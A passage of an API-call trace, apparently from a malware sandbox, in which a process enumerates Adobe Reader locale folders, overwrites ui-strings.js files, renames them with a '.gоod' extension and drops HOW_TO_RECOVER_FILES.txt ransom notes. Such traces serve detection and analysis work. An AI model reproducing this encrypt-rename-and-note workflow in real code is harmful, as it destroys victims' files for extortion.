0x1 [0137.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0137.205] GetFileType (hFile=0x650) returned 0x1 [0137.205] GetFileSize (in: hFile=0x650, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xf0d [0137.205] ReadFile (in: hFile=0x650, lpBuffer=0x3845418, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x3845418*, lpNumberOfBytesRead=0x1ffeba08*=0xf0d, lpOverlapped=0x0) returned 1 [0137.206] CloseHandle (hObject=0x650) returned 1 [0137.796] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0137.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0137.796] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\fr-ma\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0137.797] GetFileType (hFile=0x6e4) returned 0x1 [0137.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0137.797] GetFileType (hFile=0x6e4) returned 0x1 [0137.797] WriteFile (in: hFile=0x6e4, lpBuffer=0x38ac5a0*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x38ac5a0*, lpNumberOfBytesWritten=0x1ffeb918*=0xf10, lpOverlapped=0x0) returned 1 [0137.798] CloseHandle (hObject=0x6e4) returned 1 [0137.798] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0137.799] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0137.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0137.799] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\fr-ma\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x4e58df43, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf10)) returned 1 [0137.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0137.799] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\fr-ma\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\fr-ma\\ui-strings.js.gоod")) returned 1 [0137.799] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0137.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0137.800] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\fr-ma\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0137.800] GetFileType (hFile=0x6e4) returned 0x1 [0137.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0137.800] GetFileType (hFile=0x6e4) returned 0x1 [0137.801] WriteFile (in: hFile=0x6e4, lpBuffer=0x38afe10*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x38afe10*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0137.802] CloseHandle (hObject=0x6e4) returned 1 [0137.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0137.802] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\he-il", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\he-il", lpFilePart=0x0) returned 0x68 [0137.802] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\he-il\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0138.688] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.688] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0138.688] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0138.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0138.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0138.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0138.688] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\he-il", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\he-il", lpFilePart=0x0) returned 0x68 [0138.689] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\he-il\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0138.689] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.689] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0138.689] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0138.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0138.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0138.689] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\he-il\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\he-il\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0138.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0138.689] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\he-il\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\he-il\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0138.690] GetFileType (hFile=0x618) returned 0x1 [0138.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0138.690] GetFileType (hFile=0x618) returned 0x1 [0138.691] WriteFile (in: hFile=0x618, lpBuffer=0x38a49b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x38a49b8*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0138.692] CloseHandle (hObject=0x618) returned 1 [0138.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0138.692] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr", lpFilePart=0x0) returned 0x68 [0138.692] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0138.692] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.692] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe93, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0138.693] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0138.693] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0138.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0138.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0138.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0138.693] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr", lpFilePart=0x0) returned 0x68 [0138.693] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0138.693] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.693] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe93, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0138.693] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe93, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0138.694] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0138.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0138.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0138.694] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0138.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0138.694] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\hr-hr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x38b4570 | out: lpFileInformation=0x38b4570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe93)) returned 1 [0138.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0138.694] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0138.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0138.694] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\hr-hr\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0138.694] GetFileType (hFile=0x618) returned 0x1 [0138.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0138.694] GetFileType (hFile=0x618) returned 0x1 [0138.694] GetFileSize (in: hFile=0x618, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xe93 [0138.694] ReadFile (in: hFile=0x618, lpBuffer=0x38b5770, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x38b5770*, lpNumberOfBytesRead=0x1ffeba08*=0xe93, lpOverlapped=0x0) returned 1 [0138.696] CloseHandle (hObject=0x618) returned 1 [0138.722] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0138.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0138.722] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\hr-hr\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0138.724] GetFileType (hFile=0x618) returned 0x1 [0138.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0138.724] GetFileType (hFile=0x618) returned 0x1 [0138.724] WriteFile (in: hFile=0x618, lpBuffer=0x3931a70*, nNumberOfBytesToWrite=0xea0, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x3931a70*, lpNumberOfBytesWritten=0x1ffeb918*=0xea0, lpOverlapped=0x0) returned 1 [0138.725] CloseHandle (hObject=0x618) returned 1 [0138.725] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0138.725] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0138.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0138.725] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\hr-hr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x4ee69be3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xea0)) returned 1 [0138.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0138.725] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\hr-hr\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\hr-hr\\ui-strings.js.gоod")) returned 1 